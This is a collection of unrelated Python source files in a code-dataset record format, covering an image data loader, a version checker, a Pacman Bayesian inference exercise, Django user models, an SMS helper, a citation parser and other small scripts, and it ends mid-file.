def prepare_datas(self, shuffle=True):\n if self.phase == 'Train':\n dir_paths = cf.Train_dirs\n elif self.phase == 'Test':\n dir_paths = cf.Test_dirs\n \n print('------------\\nData Load (phase: {})'.format(self.phase))\n \n for dir_path in dir_paths:\n files = []\n for ext in cf.File_extensions:\n files += glob.glob(dir_path + '/Images/*' + ext) \n load_count = 0\n for img_path in files:\n if cv2.imread(img_path) is None:\n continue\n gt_path = get_gt_image_path(img_path, phase=self.phase)\n data = {'img_path': img_path,\n 'gt_path': gt_path,\n 'h_flip': False,\n 'v_flip': False,\n 'rotate': False\n }\n self.datas.append(data)\n load_count += 1\n gts = gt_parser(gt_path)\n for gt in gts:\n # plus 1 (background)\n label = gt[-1].astype(np.int)\n self.gt_count[label] += 1\n print(' - {} - {} datas -> loaded {}'.format(dir_path, len(files), load_count))\n\n self.display_gt_statistic()\n if self.phase == 'Train':\n self.data_augmentation()\n self.display_gt_statistic()\n self.set_index(shuffle=shuffle)\n \n def display_gt_statistic(self):\n print(' -*- Training label -*-')\n print(' Total data: {}'.format(len(self.datas)))\n for i, gt in enumerate(self.gt_count):\n print(' - {} : {}'.format(cf.Class_label[i], gt))\n\n def get_data_num(self):\n return self.data_n\n \n def set_index(self, shuffle=True):\n self.data_n = len(self.datas)\n self.indices = np.arange(self.data_n)\n if shuffle:\n np.random.seed(cf.Random_seed)\n np.random.shuffle(self.indices)\n\n def get_minibatch_index(self, shuffle=False):\n if self.phase == 'Train':\n mb = cf.Minibatch\n elif self.phase == 'Test':\n mb = 1\n _last = self.last_mb + mb\n if _last >= self.data_n:\n mb_inds = self.indices[self.last_mb:]\n self.last_mb = _last - self.data_n\n if shuffle:\n np.random.seed(cf.Random_seed)\n np.random.shuffle(self.indices)\n _mb_inds = self.indices[:self.last_mb]\n mb_inds = np.hstack((mb_inds, _mb_inds))\n else:\n mb_inds = self.indices[self.last_mb : self.last_mb+mb]\n self.last_mb += mb\n self.mb_inds = mb_inds\n\n \n def get_minibatch(self, shuffle=True):\n if self.phase == 'Train':\n mb = cf.Minibatch\n elif self.phase == 'Test':\n mb = 1\n self.get_minibatch_index(shuffle=shuffle)\n\n \n imgs = np.zeros((mb, cf.Height, cf.Width, 3), dtype=np.float32)\n #gts = np.zeros((mb, cf.Class_num), dtype=np.float32)\n \n max_height = 0\n max_width = 0\n \n for i, ind in enumerate(self.mb_inds):\n data = self.datas[ind]\n img, img_info = load_image(data['img_path'])\n \n resize_h = 1. * img_info[\"rh\"] / img_info[\"h\"]\n resize_w = 1. * img_info[\"rw\"] / img_info[\"w\"]\n\n gt = gt_parser(data['gt_path'])\n gt[:, 0:4:2] *= resize_w\n gt[:, 1:4:2] *= resize_h\n # Add one, background\n gt[:, -1] += 1\n\n img = image_augment(img, data)\n gt = gt_augment(gt, data, img_info[\"rh\"], img_info[\"rw\"])\n \n max_height = max(max_height, img_info[\"rh\"])\n max_width = max(max_width, img_info[\"rw\"])\n\n #imgs[i, :img_info[\"rh\"], :img_info[\"rw\"]] = img\n imgs = np.expand_dims(img, axis=0)\n gts = gt\n\n if Dataset_Debug_Display:\n print(data['img_path'], data['h_flip'])\n fig, ax = plt.subplots()\n ax.imshow(imgs[i])\n for bbox in gts:\n ax.add_patch(plt.Rectangle(xy=[bbox[0], bbox[1]],\n width=(bbox[2]-bbox[0]),\n height=(bbox[3]-bbox[1]), fill=False) )\n plt.show()\n\n if cf.Input_type == 'channels_first':\n imgs = imgs.transpose(0, 2, 3, 1)\n return imgs, gts, img_info\n\n\n def data_augmentation(self):\n print(' | -*- Data Augmentation -*-')\n if cf.Horizontal_flip:\n self.add_horizontal_flip()\n print(' | - Added horizontal flip')\n if cf.Vertical_flip:\n self.add_vertical_flip()\n print(' | - Added vertival flip')\n if cf.Rotate_ccw90:\n self.add_rotate_ccw90()\n print(' | - Added Rotate ccw90')\n print(' \\/')\n \n def add_horizontal_flip(self):\n new_data = []\n for data in self.datas:\n _data = data.copy()\n _data['h_flip'] = True\n new_data.append(_data)\n self.datas.extend(new_data)\n\n def add_vertical_flip(self):\n new_data = []\n for data in self.datas:\n _data = data.copy()\n _data['v_flip'] = True\n new_data.append(_data)\n self.datas.extend(new_data)\n\n def add_rotate_ccw90(self):\n new_data = []\n for data in self.datas:\n _data = data.copy()\n _data['rotate'] = True\n new_data.append(_data)\n self.datas.extend(new_data)\n\n\n\ndef get_gt_image_path(img_name, phase='Train'):\n gt_path = img_name.replace('Images', 'Annotations').split('.')[0] + '.txt'\n if os.path.exists(gt_path):\n return gt_path\n raise Exception(\"file not found >>\", gt_path)\n if phase == 'Train':\n gt_dirs = cf.GT_dirs\n elif phase == 'Test':\n gt_dirs = cf.Test_GT_dirs\n for gt_dir in gt_dirs:\n gt_path = os.path.join(gt_dir, file_name) + '.txt'\n if os.path.exists(gt_path):\n return gt_path\n raise Exception('file not found ->', gt_path)\n \n \n## Below functions are for data augmentation\ndef load_image(img_name):\n img = cv2.imread(img_name)\n if img is None:\n raise Exception('file not found: {}'.format(img_name)) \n h, w = img.shape[:2]\n \"\"\"\n if cf.Variable_input:\n longer_side = np.max(img.shape[:2])\n scaled_ratio = 1. * cf.Max_side / longer_side\n rh = np.min([img.shape[0] * scaled_ratio, cf.Max_side]).astype(np.int)\n rw = np.min([img.shape[1] * scaled_ratio, cf.Max_side]).astype(np.int)\n img = cv2.resize(img, (rw, rh))\n rrh = h / rh\n rrw = w / rw\n else:\n rh = cf.Height\n rw = cf.Width\n img = cv2.resize(img, (rw, rh))\n rrh = h / rh\n rrw = w / rw\n \"\"\"\n min_side = min(h, w)\n max_side = max(h, w)\n\n ratio = 1. * cf.Min_side / min_side\n max_s = max_side * ratio\n if max_s > cf.Max_side:\n ratio = 1. * cf.Max_side / max_side\n rw = int(ratio * w)\n rh = int(ratio * h)\n img = cv2.resize(img, (rw, rh))\n rrh = 1. / ratio\n rrw = 1. / ratio\n \n img = img[:, :, (2,1,0)]\n img = img / 255.\n img_info = {\"h\": h, \"w\": w, \"rh\":rh, \"rw\":rw, 'rrh':rrh, 'rrw':rrw}\n return img, img_info\n\n\ndef image_augment(image, data):\n if data['h_flip']:\n image = image[:, ::-1]\n if data['v_flip']:\n image = image[::-1, :]\n if data['rotate']:\n max_side = max(h, w)\n if len(image.shape) == 3:\n frame = np.zeros((max_side, max_side, 3), dtype=np.float32)\n elif len(image.shape) == 2:\n frame = np.zeros((max_side, max_side), dtype=np.float32)\n tx = int((max_side-w)/2)\n ty = int((max_side-h)/2)\n frame[ty:ty+h, tx:tx+w] = image\n M = cv2.getRotationMatrix2D((max_side/2, max_side/2), 90, 1)\n rot = cv2.warpAffine(frame, M, (max_side, max_side))\n image = rot[tx:tx+w, ty:ty+h]\n return image\n\n\ndef gt_augment(gt, data, h, w):\n if data['h_flip']:\n _gt = gt.copy()\n gt[:, 0] = w - _gt[:, 2]\n gt[:, 2] = w - _gt[:, 0]\n if data['v_flip']:\n _gt = gt.copy()\n gt[:, 1] = h - _gt[:, 3]\n gt[:, 3] = h - _gt[:, 1]\n return gt\n","sub_path":"data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":8871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"36882022","text":"import requests\nfrom colorama import Fore, Back, Style\n\nGITHUB_RELEASE_URL = \"https://api.github.com/repos/skyzh/canvas_grab/releases/latest\"\nVERSION = \"v1.3.11\"\n\n\ndef check_latest_version():\n version_obj = {}\n print()\n try:\n version_obj = requests.get(GITHUB_RELEASE_URL, timeout=3).json()\n except Exception as e:\n print(f\"{Fore.RED}Failed to check update.{Style.RESET_ALL} It's normal if you don't have a stable network connection.\")\n print(f\"You may report the following message to developer: {e}\")\n return\n version = version_obj.get(\"tag_name\", \"unknown\")\n if version != VERSION:\n print(f\"You're using version {Fore.GREEN}{VERSION}{Style.RESET_ALL}, \"\n f\"but the latest release is {Fore.GREEN}{version}{Style.RESET_ALL}.\")\n print(f\"Please visit {Fore.BLUE}https://github.com/skyzh/canvas_grab/releases{Style.RESET_ALL} \"\n \"to download the latest version.\")\n print(version_obj.get(\"body\", \"\"))\n else:\n print(\"Just checked update. You're using latest version of canvas_grab. :)\")\n","sub_path":"version.py","file_name":"version.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"628494139","text":"# staticInferenceModule.py\n# ------------------------\n# Licensing Information: Please do not distribute or publish solutions to this\n# project. You are free to use and extend these projects for educational\n# purposes. The Pacman AI projects were developed at UC Berkeley, primarily by\n# John DeNero (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# For more info, see http://inst.eecs.berkeley.edu/~cs188/sp09/pacman.html\n\nfrom util import *\nimport util\nimport random\nimport ghostbusters\n\nclass StaticInferenceModule:\n \"\"\"\n A static inference module must compute two quantities, conditioned on provided observations:\n \n -- The posterior distribution over ghost locations. This will be a distribution over tuples of\n where the ghosts are. If there is only one ghost, this distribution will be over the\n (singleton tuples of) the board locations. If there are two ghosts, this distribution will\n assign a probability to each pair of locations, and so on. Since the ghosts are interchangeable,\n the probability for, say, ((0,1), (3,2)) will be the same as that for ((3,2), (0,1)).\n \n -- The posterior distribution over the readings at a location, given the existing readings. Be\n careful that your computation does the right thing when the 'new' location is actually in the\n existing observations, at which point the posterior should put probability one of the known\n reading.\n\n This is an abstract class, which you should not modify.\n \"\"\"\n \n def __init__(self, game):\n \"\"\"\n Inference modules know what game they are reasoning about.\n \"\"\"\n self.game = game\n \n def getGhostTupleDistributionGivenObservations(self, observations):\n \"\"\"\n Compute the distribution over ghost tuples, given the evidence.\n \n Note that the observations are given as a dictionary.\n \"\"\"\n util.raiseNotDefined()\n \n def getReadingDistributionGivenObservations(self, observations, newLocation):\n \"\"\"\n Compute the distribution over readings for the new location, given the\n current observations (given as a dictionary).\n \"\"\"\n util.raiseNotDefined()\n\nclass ExactStaticInferenceModule(StaticInferenceModule):\n \"\"\"\n You will implement an exact inference module for the static ghostbusters game.\n \n See the abstract 'StaticInferenceModule' class for descriptions of the methods.\n \n The current implementation below is broken, returning all uniform distributions.\n \"\"\"\n \n def getGhostTupleDistributionGivenObservations(self, observations):\n \"\"\"\n Here is some help...\n self.game.getGhostTuples() will give you a list of ghost tuples\n self.game.getInitialDistribution() will give you a distribution over\n ghost tuples; namely if you say p = s.g.gID() and t is tuple from\n getGhostTuples, then p[t] will be its probability\n self.game.getReadingDistributionGivenGhostTuple(t,s) will give you\n a distribution over readings (red, green, etc.) for the ghost tuple\n t and sensor location s\n\n What you want to do is create a Counter() that you will return. If this\n counter is called dist, then dist[t] should be the probability of a\n ghost at tuple t (where t is from getGhostTuples) given the observations.\n \"\"\"\n \n #print observations\n #print ''\n \"*** YOUR CODE HERE ***\"\n possibleGhostTuples = self.game.getGhostTuples()\n initial = self.game.getInitialDistribution()\n #print initial\n #print ''\n \n dist = initial.copy()\n \n for observedLoc in observations.keys():\n observedReading = observations[observedLoc]\n #print observedLoc\n for possibleGhostTuple in possibleGhostTuples:\n #print possibleGhostTuple\n readingDist = self.game.getReadingDistributionGivenGhostTuple(possibleGhostTuple, observedLoc)\n #print readingDist\n dist[possibleGhostTuple] = dist[possibleGhostTuple]*readingDist[observedReading]\n #print ''\n \n #print ''\n \n dist.normalize()\n #print dist\n \n return dist\n\n\n\n def getReadingDistributionGivenObservations(self, observations, newLocation):\n \"\"\"\n For this part, you want to return a counter dist, so that \n dist[r] is the probability of reading r (from ghostbusters.Readings.getReadings)\n given the observations and the proposed new location.\n\n You'll probably want to use getReadingDistributionGivenGhostTuple (as before),\n your own getGhostTupleDistributionGivenObservations to compute these probabilities.\n To iterate over relevant things, there's ghostbusters.Readings.getReadings() to\n look at all possible readings.\n \"\"\"\n\n \"*** YOUR CODE HERE ***\"\n ghDist = self.getGhostTupleDistributionGivenObservations(observations)\n readings = ghostbusters.Readings.getReadings()\n possGhostTups = self.game.getGhostTuples()\n dist = Counter()\n\n probGh = ghDist[(newLocation,)]\n\n # We want to evaluate P(R_{i,j} | {r}), the probability of sensing\n # some reading given previous observations. Thus, we look at every\n # observation and evaluate this probability\n for r in readings:\n for loc in possGhostTups:\n readDist = self.game.getReadingDistributionGivenGhostTuple(loc, newLocation)\n dist[r] += readDist[r] * ghDist[(loc,)]\n\n dist.normalize()\n\n return dist\n","sub_path":"5300/bayesnets/staticInferenceModuleb.py","file_name":"staticInferenceModuleb.py","file_ext":"py","file_size_in_byte":5335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"407628450","text":"'''\n1- Faça um programa que cadastre 5 produtos em uma lista estática heterogênia.\n Para cada produto deve ser cadastrado o código, preço e quantidade. Criar a lista,\n lista esta, aplicar uma taxa de desconto sugerido pelo proprietário em todas os\n produtos da lista e apresentar a lista original e a lista com a taxa(%) de de\n desconto, apresentar para a lista original o produto mais barato e o produto com\n menor quantidade, e para a lista com desconto o produto mais caro e o produto\n de maior quantiade.\n'''\n\nquant = 3\nprodutos = []\nprodutos_desconto = []\n\nclass Produtos:\n def __init__(self, codigo=0, quantidade=0, preco=0.0):\n self.codigo = codigo\n self.quantidade = quantidade\n self.preco = preco\n\n def print_produto(self):\n print(f\"Codigo: {self.codigo}\\tQuantidade: {self.quantidade}\\tPreço: {self.preco}\\n\")\n\n\ndef cadastrar_produtos():\n for i in range(quant):\n produtos.append(Produtos(int(input(f\"Digite código produto{i + 1}: \")),\n int(input(f\"Digite quantidade produto{i + 1}: \")),\n float(input(f\"Digite preço produto{i + 1}: \"))))\n while not validar_codigo_produto(produtos[i].codigo, i):\n print(\"Código já existe!\")\n produtos[i].codigo = int(input(f\"Digite código produto{i + 1}: \"))\n print(\"\\n\")\n\n produtos_desconto.append(Produtos(produtos[i].codigo, produtos[i].quantidade, produtos[i].preco))\n\ndef validar_codigo_produto(codigo, range_i):\n for i in range(range_i):\n if produtos[i].codigo == codigo:\n return False\n return True\n\ndef printar_produtos(list_produtos):\n for i in range(quant):\n list_produtos[i].print_produto()\n\ndef get_taxa():\n taxa = float(input(\"Digite a taxa de desconto: \"))\n taxa /= 100\n return taxa\ndef aplicar_desconto():\n taxa = get_taxa()\n for i in range(quant):\n desconto = produtos_desconto[i].preco * taxa\n produtos_desconto[i].preco -= desconto\n\ndef achar_barato_caro_menor_maior():\n\n mais_caro = 0\n maior_quant = 0\n for i in range(quant):\n if produtos_desconto[i].preco > mais_caro:\n mais_caro = produtos_desconto[i].preco\n\n if produtos_desconto[i].quantidade > maior_quant:\n maior_quant = produtos_desconto[i].quantidade\n print(f\"Na lista produtos_desconto o produto mais caro tem o valor: {mais_caro}\")\n print(f\"Na lista produtos_desconto o produto maior quantidade tem: {maior_quant}\")\n print(\"\\n\")\n\n mais_barato = mais_caro+1\n menor_quant = maior_quant+1\n for i in range(quant):\n if produtos[i].preco < mais_barato:\n mais_barato = produtos[i].preco\n\n if produtos[i].quantidade < menor_quant:\n menor_quant = produtos[i].quantidade\n\n print(f\"Na lista produtos o produto mais barato tem o valor: {mais_barato}\")\n print(f\"Na lista produtos o produto menor quantidade tem: {menor_quant}\")\n\ncadastrar_produtos()\nprintar_produtos(produtos)\n\n\naplicar_desconto()\nprintar_produtos(produtos_desconto)\n\nachar_barato_caro_menor_maior()","sub_path":"exercicio-produto/produto.py","file_name":"produto.py","file_ext":"py","file_size_in_byte":3123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"209989910","text":"from collections import deque\nfrom itertools import islice, chain, repeat\n\n\ndef window(numbers, n, *, fillvalue=None):\n if n == 0:\n return []\n\n inumbers = iter(numbers)\n window_ = deque(islice(chain(inumbers, repeat(fillvalue)), n), maxlen=n)\n yield tuple(window_)\n for num in inumbers:\n window_.append(num)\n yield tuple(window_)\n","sub_path":"pythonmorsels/window/window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"111288605","text":"#!/usr/local/bin/python3\n# coding: UTF-8\n# Author: David\n# Email: youchen.du@gmail.com\n# Created: 2017-01-18 09:12\n# Last modified: 2017-01-18 09:14\n# Filename: basic_feed.py\n# Description:\nimport tensorflow as tf\n\ninput1 = tf.placeholder(tf.float32)\ninput2 = tf.placeholder(tf.float32)\noutput = tf.mul(input1, input2)\n\nwith tf.Session() as sess:\n print(sess.run(output, feed_dict={input1:[7.], input2:[2.]}))\n","sub_path":"Machine Learning/Python/TensorFlow/basic_feed.py","file_name":"basic_feed.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"470543491","text":"\n\n#calss header\nclass _TRANSPIRE():\n\tdef __init__(self,): \n\t\tself.name = \"TRANSPIRE\"\n\t\tself.definitions = [u'If it transpires that something has happened, this previously secret or unknown fact becomes known: ', u'to happen: ', u'If a body or plant transpires, it loses water through its surface or skin.']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_transpire.py","file_name":"_transpire.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"161459622","text":"#!/usr/bin/python3\nclass Square:\n \"\"\"this is a class Square that defines a square\n Attributes:\n __size: Private instance attribute - size of square\n Args:\n size: size of square.\n \"\"\"\n def __init__(self, size=0):\n \"\"\"This is a function that use __init__ method to\n initialize the passing variables\n\n Attributes:\n __size: Private instance attribute - size of square\n Args:\n size: size of square\n Raises:\n TypeError: size must be an integer\n ValueError: size must be >= 0\n \"\"\"\n if isinstance(size, int):\n if size >= 0:\n self.__size = size\n else:\n raise ValueError(\"size must be >= 0\")\n else:\n raise TypeError(\"size must be an integer\")\n\n def area(self):\n \"\"\" This is a function calculate the area of a square\n Attributes:\n __size: Private instance attribute - size of square\n Args:\n size: size of square\n Returns:\n the result\n \"\"\"\n return self.__size ** 2\n","sub_path":"0x06-python-classes/3-square.py","file_name":"3-square.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"564627532","text":"import io\nimport gzip\n\nfrom six import string_types as basestring\n\n\nGzipFile = _GzipFile = gzip.GzipFile\ntry:\n import idzip\n GzipFile = idzip.IdzipFile\n has_idzip = True\nexcept (ImportError, AttributeError):\n GzipFile = gzip.GzipFile\n has_idzip = False\n\n\n# Do not register idzip with psims, indexing seems to corrupt file\n# try:\n# from psims import compression as psims_compression\n\n# if has_idzip:\n# psims_compression.register(GzipFile, 'gz', b'\\037\\213')\n# psims_compression.register(GzipFile, 'dz', b'\\037\\213')\n# except ImportError:\n# pass\n\n\nDEFAULT_BUFFER_SIZE = int(2e6)\n\n\ndef test_gzipped(f):\n \"\"\"Checks the first two bytes of the\n passed file for gzip magic numbers\n\n Parameters\n ----------\n f : file-like or path-like\n\n Returns\n -------\n bool\n \"\"\"\n if isinstance(f, basestring):\n f = io.open(f, 'rb')\n current = f.tell()\n f.seek(0)\n magic = f.read(2)\n f.seek(current)\n return magic == b'\\037\\213'\n\n\ndef starts_with_gz_magic(bytestring):\n return bytestring.startswith(b'\\037\\213')\n\n\ndef get_opener(f, buffer_size=None):\n if buffer_size is None:\n buffer_size = DEFAULT_BUFFER_SIZE\n if not hasattr(f, 'read'):\n f = io.open(f, 'rb')\n buffered_reader = io.BufferedReader(f, buffer_size)\n if test_gzipped(f):\n handle = GzipFile(fileobj=buffered_reader, mode='rb')\n else:\n handle = buffered_reader\n return handle\n","sub_path":"ms_deisotope/data_source/_compression.py","file_name":"_compression.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"300556337","text":"from django.db import models\nfrom django.contrib.auth.models import AbstractBaseUser\nfrom django.contrib.auth.models import PermissionsMixin\nfrom django.contrib.auth.models import BaseUserManager\nfrom django.utils.timezone import now\n\nclass UserManager(BaseUserManager):\n\n def create_user(self, username, email, name, password=None):\n \"\"\" Creacion nuevo usuario \"\"\"\n if not email:\n raise ValueError('Usuario debe tener Email')\n\n email = self.normalize_email(email)\n user = self.model(username=username, email=email, name=name)\n\n user.set_password(password)\n user.save(using=self._db)\n\n return user\n\n def create_superuser(self, username, email, name, password):\n \"\"\" Creacion super usuario \"\"\"\n user = self.create_user(username, email, name, password)\n\n user.is_superuser = True\n user.is_staff = True\n\n user.save(using=self._db)\n\n return user\n\nclass User(AbstractBaseUser, PermissionsMixin):\n\n username = models.CharField(\n max_length=150,\n unique=True\n )\n\n email = models.EmailField(\n max_length=255,\n unique=True\n )\n\n name = models.CharField(\n max_length=150\n )\n\n avatar = models.ImageField(\n verbose_name='Avatar',\n upload_to='users',\n null=True\n )\n\n is_active = models.BooleanField(\n default=True\n )\n\n is_staff = models.BooleanField(\n default=False\n )\n\n objects = UserManager()\n\n USERNAME_FIELD = 'username'\n REQUIRED_FIELDS = ['email','name']\n\n class Meta:\n verbose_name = 'Usuario'\n verbose_name_plural = 'Usuarios'\n\n def get_full_name(self):\n \"\"\" Obtener nombre completo \"\"\"\n return self.name\n\n def get_short_name(self):\n \"\"\" Obtener nombre corto \"\"\"\n return self.name\n\n def __str__(self):\n \"\"\" Retorna cadena representativa de usuario \"\"\"\n return self.get_full_name()\n\nclass DriverTrip( models.Model ):\n\n driver = models.ForeignKey(\n User,\n verbose_name='Conductor',\n on_delete=models.CASCADE)\n\n origen = models.CharField(\n verbose_name='Origen',\n max_length=500\n )\n\n destino = models.CharField(\n verbose_name='Destino',\n max_length=500\n )\n\n hora_salida = models.TimeField(\n verbose_name='Hora Salida'\n )\n\n fecha_salida = models.DateField(\n verbose_name='Fecha'\n )\n\n cantidad_pasajeros = models.IntegerField(\n verbose_name='Cantidad pasajeros',\n default=4\n )\n\n pasajeros = models.ManyToManyField(\n User,\n verbose_name='Pasajeros',\n related_name='usuario_pasajero'\n )\n\n class Meta:\n verbose_name = 'Viaje conductor'\n verbose_name_plural = 'Viajes conductores'\n","sub_path":"backend/api/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"411160975","text":"#coding=gbk\r\n\r\n#coding=utf-8\r\n\r\n#-*- coding: UTF-8 -*- \r\n\r\nfrom CCPRestSDK import REST\r\nimport ConfigParser\r\n\r\ndef sendTemplateSMS(to,datas,tempId):\r\n accountSid= '8a48b55150e162370150e6ad378825ac'; \r\n\r\n accountToken= 'c67a265e8ec14ff48bc14737a803d59e'; \r\n\r\n appId='8a48b55150e162370150e6ae3d5925c6'; \r\n\r\n serverIP='app.cloopen.com';\r\n\r\n serverPort='8883'; \r\n\r\n softVersion='2013-12-26';\r\n\r\n rest = REST(serverIP, serverPort, softVersion) \r\n rest.setAccount(accountSid, accountToken) \r\n rest.setAppId(appId)\r\n\r\n result = rest.sendTemplateSMS(to,datas,tempId) \r\n if result['statusCode'] == '000000':\r\n return True\r\n return False\r\n\r\n'''\r\nif __name__ == '__main__':\r\n sendTemplateSMS('15521057950', {'2', '8888'}, 1)\r\n'''","sub_path":"androidUtils/sendSMS.py","file_name":"sendSMS.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"32473966","text":"import re\nimport json\n\nfileOpen = open(\"doc_1.txt\", \"r\")\ntext = fileOpen.read()\n\nclass Citation:\n def __init__(self, title ,author, year):\n self.title = title\n self.author = author\n self.year = year\n\ncitations = re.split('\\n\\n',text)\n\ncitationList = []\nfor citation in citations:\n # get year\n year = re.findall('\\((?:19|20)[0-9][0-9]\\)',citation)\n authorCitation = re.split('\\((?:19|20)[0-9][0-9]\\)',citation)\n if len(year) == 0:\n authorCitation = re.split('[12]\\d{3}',citation) \n else:\n year = year[0][1:-1]\n\n # get author\n author = re.findall('[A-Z][A-Z|a-z]+\\,?\\s[A-Z][a-z]*\\s[A-Z][a-z]*\\.?|[A-Z][a-z]+\\,?\\s[A-Z][a-z]*\\.?|^[A-Z][a-z]+',authorCitation[0]) \n if len(author) > 1 :\n poped_item = 0\n for index in range(len(author)) :\n if ',' not in author[index-poped_item] and '.' not in author[index-poped_item]:\n author.pop(index-poped_item) \n poped_item +=1\n\n # get title\n title = re.findall('\\\".*\\\"', citation)\n if len(title) == 0 :\n if len(author) ==0 :\n title = re.findall('[A-Za-z,]{1,}\\s[A-Za-z, ]{0,}',authorCitation[0])[0] \n else:\n title = re.split(author[0], citation)[1]\n if ').' not in title :\n title = re.findall('[A-Za-z,]{1,}\\s[A-Za-z, ]{0,}[\\.]',title)\n title = title[0]\n else : \n title = title.split(').')[1]\n title = re.findall('[A-Za-z,]{1,}\\s[A-Za-z,: ]{0,}[\\.(]',title) \n title = title[0]\n else:\n title = title[0][1:-1] \n \n # Creat Citation\n citationList.append(Citation(title, author, year))\n\n#dictionary\ndict = []\nfor citation in citationList:\n if len(citation.year)>1:\n dict.append(\n {\n \"authors\": '; '.join(citation.author),\n \"title\": citation.title,\n \"year\": citation.year\n }\n )\n elif len(citation.year)==0 and len(citation.author)==0:\n dict.append(\n {\n \"title\": citation.title\n }\n )\n elif len(citation.year)==0:\n dict.append(\n {\n \"authors\": '; '.join(citation.author),\n \"title\": citation.title\n }\n )\n\nwith open('a_judul.json', 'w') as f:\n json.dump(dict, f)","sub_path":"Tugas1/T1_4a_Kevin&Tito.py","file_name":"T1_4a_Kevin&Tito.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"117904135","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.core.validators\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('myauth', '0006_auto_20151016_0405'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='myuser',\n name='mobile_no',\n field=models.CharField(default=9999999999, unique=True, max_length=10, validators=[django.core.validators.RegexValidator(regex=b'^\\\\d{10}$', message=b'Phone number must be exactly 10 digits')]),\n preserve_default=False,\n ),\n ]\n","sub_path":"myauth/migrations/0007_myuser_mobile_no.py","file_name":"0007_myuser_mobile_no.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"565053008","text":"# 这一课主要学习列表推导式和字典推导式\n\"\"\"\n上一个程序中,先定义字典,再遍历字典,显得有些不优雅。\n那么这节课学习列表推导式和字典推导式,来重写程序,让程序更优雅,更美观。\n推导式还是使用for循环,推导式是支持列表和字典的\n\"\"\"\n# 首先讲解列表推导式\n\n# 从1到10所有偶数的平方,并将其存到列表中\n# 定义一个列表\nalist = []\nfor i in range(1, 11):\n if i % 2 == 0:\n alist.append(i * i)\nprint(alist)\n\n# 优雅的列表写法,下面的就是列表推导式\nblist = [i * i for i in range(1, 11) if (i % 2) == 0]\nprint(blist)\n\nzodiac_name = (u\"水瓶座\", u\"双鱼座\", u\"白羊座\", u\"金牛座\", u\"双子座\",\n u\"巨蟹座\", u\"狮子座\", u\"处女座\", u\"天秤座\", u\"天蝎座\", u\"射手座\", u\"摩羯座\")\n# 字典推导式\n# 原式\nz_num = {}\nfor i in zodiac_name:\n z_num[i] = 0\n\nz_num = {i: 0 for i in zodiac_name}\nprint(z_num)\n","sub_path":"Section2/lesson18.py","file_name":"lesson18.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"517711253","text":"#!/usr/bin/env python\nimport numpy as np\nimport cv2\nimport ICP\n\n\ndef start():\n img = cv2.imread('/home/rauf/Desktop/MAPS/test_gmapping.pgm',-1)\n img[img == 205] = 255\n kernel = np.ones((7,7), np.uint8)\n erosion = cv2.erode(img, kernel, iterations = 1)\n blur = cv2.GaussianBlur(erosion,(5,5),0)\n canny = cv2.Canny(blur, 50, 120)\n small_img = cv2.resize(blur, (0,0), fx=0.2, fy=0.2)\n cv2.imshow('image',blur)\n cv2.imshow('small_image',small_img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\nif __name__ == '__main__':\n start()\n","sub_path":"plato_map_comparison/remove_unknown.py","file_name":"remove_unknown.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"217087060","text":"\"\"\" Interfaces \"\"\"\nfrom zope.interface import Interface, Attribute\n\n\nclass ISurfSession(Interface):\n \"\"\"The surf.Session objects\"\"\"\n\n\nclass IObject2Surf(Interface):\n \"\"\" An object that writes surf info into a ISurfSession\n \"\"\"\n\n def write():\n \"\"\"Add the surf resource info into the session \"\"\"\n\n\nclass IGenericObject2Surf(IObject2Surf):\n \"\"\" An implementation of IObject2Surf\n\n This interface is only used to describe the GenericObject2Surf\n class; The IObject2Surf interface should be used as adapter interface\n \"\"\"\n\n resource = Attribute(u\"A surf resource that is written into the sesion\")\n namespace = Attribute(u\"The namespace that is attached to the resource\")\n subject = Attribute(u\"The subject (URI) of the resource\")\n prefix = Attribute(u\"The subject (URI) of the resource\")\n portalType = Attribute(u\"The portal type of the context, \"\n u\"will be used as resource class\")\n rdfId = Attribute(u\"The Id of the resource\")\n\n def 